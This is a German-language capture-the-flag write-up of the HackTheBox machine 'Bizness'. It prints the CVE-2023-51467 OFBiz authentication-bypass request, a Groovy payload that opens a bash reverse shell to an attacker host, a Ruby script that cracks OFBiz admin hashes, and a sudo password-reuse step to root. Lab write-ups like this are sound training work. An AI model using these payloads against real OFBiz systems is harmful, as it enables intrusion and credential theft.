// HackTheBox
Bizness
CVE-2023-51467 (OFBiz-Auth-Bypass) + Groovy-RCE → geknackter OFBiz-Admin-Hash, wiederverwendet als Passwort von root
Aufklärung
Drei Ports, und der HTTPS-Dienst erledigt die ganze interessante Arbeit:
| Port | Dienst |
|---|---|
| 22 | SSH |
| 80 | HTTP (leitet auf https um) |
| 443 | HTTPS (nginx vor Apache OFBiz) |
Port 80 leitet nur auf HTTPS weiter, und 443 ist ein nginx-Reverse-Proxy vor
Apache OFBiz — einer großen, weitläufigen Java-ERP-Suite. OFBiz stellt unter
/webtools/control/... ein Administrations-Toolset bereit; die main-Seite lädt ohne
jede Authentifizierung, und nur die dahinterliegenden inneren Screens verlangen einen
Login. Eine weit verbreitete Java-App mit öffentlicher Admin-Oberfläche ist der
offensichtliche Faden, an dem man zieht: OFBiz hat eine bekannte Auth-Bypass-CVE aus
2023, und das versionspassende Verhalten zu bestätigen ist der schnellste Weg hinein.
Erstzugang — CVE-2023-51467 (OFBiz-Auth-Bypass) + Groovy-RCE
1. Authentifizierung umgehen
CVE-2023-51467 ist ein Fehler in der Login-Prüfung: OFBiz behandelt ein leeres
Benutzername/Passwort-Paar in Kombination mit dem Flag requirePasswordChange=Y als
einen Zustand, in dem die Auth-Prüfung übersprungen statt fehlgeschlagen werden soll.
In der Praxis rutscht das Anhängen von
?USERNAME=&PASSWORD=&requirePasswordChange=Y an einen beliebigen
/webtools/control/<screen>-Request am Login-Gate vorbei. Es ist nicht an einen
einzelnen Endpoint gebunden — es funktioniert auf jedem Screen unter
/webtools/control/.
Die schnellste Bestätigung ist der ping-Screen, der nur einem authentifizierten
Aufrufer mit PONG antworten sollte:
$ curl -sk 'https://bizness.htb/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y'
Er gibt PONG zurück und beweist, dass der Bypass uns in den authentifizierten
Web-Tools-Kontext bringt.
2. Groovy-RCE über ProgramExport
Mit überwundenem Auth-Gate ist der nützliche Screen /webtools/control/ProgramExport,
ein Entwickler-Werkzeug, das einen groovyProgram-POST-Parameter akzeptiert und ihn
serverseitig als Groovy (eine JVM-Skriptsprache) auswertet. Beliebige
Groovy-Auswertung ist faktisch Codeausführung.
Der naive Weg, ein Shell-Kommando aus Groovy zu starten, ist 'cmd'.execute() auf
einem einfachen String, aber das tokenisiert den String anhand von Leerzeichen und
behandelt Quoting falsch — alles mit Leerzeichen, Umleitungen oder Pipes bricht. Der
zuverlässige Ansatz ist die Listenform von execute(), die jedes Listenelement als
literales argv-Element ohne erneutes Parsen übergibt, sodass ein vollständiger
bash -c-Einzeiler intakt bleibt:
groovyProgram=throw new Exception(["bash","-c","bash -i >& /dev/tcp/<LHOST>/4444 0>&1"].execute().text)
Der throw new Exception(...)-Wrapper ist ein Verifikationstrick: .text fängt den
stdout des Kommandos ein, und ihn als Exception zu werfen macht diese Ausgabe direkt
auf der gerenderten Fehlerseite sichtbar. Das macht eine einmalige Prüfung trivial —
id auf diese Weise ausgeführt gibt das Ergebnis inline zurück — bevor man sich auf
einen blinden Reverse-Shell-Payload festlegt. Hier landet eine Shell als der
Service-Benutzer ofbiz.
Rechteausweitung — geknackter OFBiz-Admin-Hash, wiederverwendet als Passwort von root
1. Den Admin-Hash aus Derbys Datendateien ziehen
OFBiz speichert seine Daten in einer eingebetteten Apache Derby-Datenbank. Statt
die Engine abzufragen, ist zu beachten, dass Derby jede Tabelle in flachen, im Klartext
durchsuchbaren .dat-Segmentdateien auf der Platte persistiert — unter
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/. Ein grep dieser Dateien nach SHA fördert
die UserLogin-Zeile für admin direkt zutage:
$ grep -r 'SHA' /opt/ofbiz/runtime/data/derby/ofbiz/seg0/
currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" userLoginId="admin"
2. OFBiz’ Hash-Schema nachbilden und knacken
Das $SHA$d$...-Format ist OFBiz-spezifisch, also birgt das Raten des Algorithmus das
Risiko eines vergeudeten Crack-Laufs. Stattdessen stammt das exakte Schema aus OFBiz’
eigenem HashCrypt.getCryptedBytes — die relevanten Zeilen (aus dem
apache/ofbiz-framework-Quellcode auf GitHub geholt) lauten:
messagedigest.update(salt.getBytes(UTF_8));
messagedigest.update(passwordBytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest());
Das ist base64url(SHA1(salt + password)), und das $SHA$d$-Präfix sagt uns, dass der
Salt der Literal-String 'd' ist. Genau das in Ruby nachimplementiert
(exploit/crack_admin.rb) und gegen rockyou.txt laufen lassen findet das Passwort in
unter einer Sekunde — es steht früh in der Liste:
require 'digest'; require 'base64'
target = 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I' # $SHA$d$<hash> from the UserLogin row
File.foreach('rockyou.txt', chomp: true) do |pw|
digest = Base64.urlsafe_encode64(Digest::SHA1.digest('d' + pw), padding: false)
next unless digest == target
puts "found: #{pw}"
break
end
Das wiederhergestellte Passwort ist monkeybizness.
3. Das Passwort für root wiederverwenden
Dieses Passwort erweist sich auch als lokales Linux-Passwort von root — reiner
Credential-Reuse, nichts OFBiz-Spezifisches daran. Die Rechteausweitung ist dann nur
noch eine Frage der Authentifizierung als root, aber es gibt eine Stolperfalle:
su root hängt und scheitert still, weil die Reverse-Shell kein echtes TTY besitzt und
su auf einem steuernden Terminal besteht, um das Passwort sicher einzulesen. sudo,
das das Passwort von stdin liest, umgeht das — Debians sudo verlangt kein TTY, sofern
nicht requiretty gesetzt ist:
$ echo monkeybizness | sudo -S -i
Das liefert eine vollständige root-Shell.
Erkenntnisse
- Der OFBiz-Auth-Bypass ist ein einzeiliger Query-String-Trick
(
?USERNAME=&PASSWORD=&requirePasswordChange=Y), angehängt an jede/webtools/control/- URL — nicht spezifisch für einen einzelnen Endpoint. - Groovys
.execute()auf einem nackten String tokenisiert anhand von Leerzeichen und kann kein Quoting/Shell-Operatoren ausdrücken; verwende die Listenform (["bash","-c","..."].execute()), um einen echten Einzeiler zuverlässig auszuführen. throw new Exception(cmd.execute().text)ist eine praktische Methode ohne Setup, um Kommando- ausgaben direkt in einer Groovy-Eval-Antwort reflektiert zu bekommen, bevor man sich auf eine blinde Reverse-Shell festlegt.- OFBiz (und wahrscheinlich andere Java-Apps mit eingebetteter Derby-DB) speichern Tabellendaten in
im Klartext durchsuchbaren
.dat-Segmentdateien —grep/stringsüber diese kann Zugangsdaten direkt zutage fördern, ohne die DB-Engine tatsächlich abfragen zu müssen. - Dass
suein echtes TTY erfordert, ist eine wiederkehrende Stolperfalle bei Reverse-Shells ohne PTY;sudo -S, das das Passwort von stdin liest, ist der zuverlässige Fallback, sobald ein gültiges Passwort vorliegt.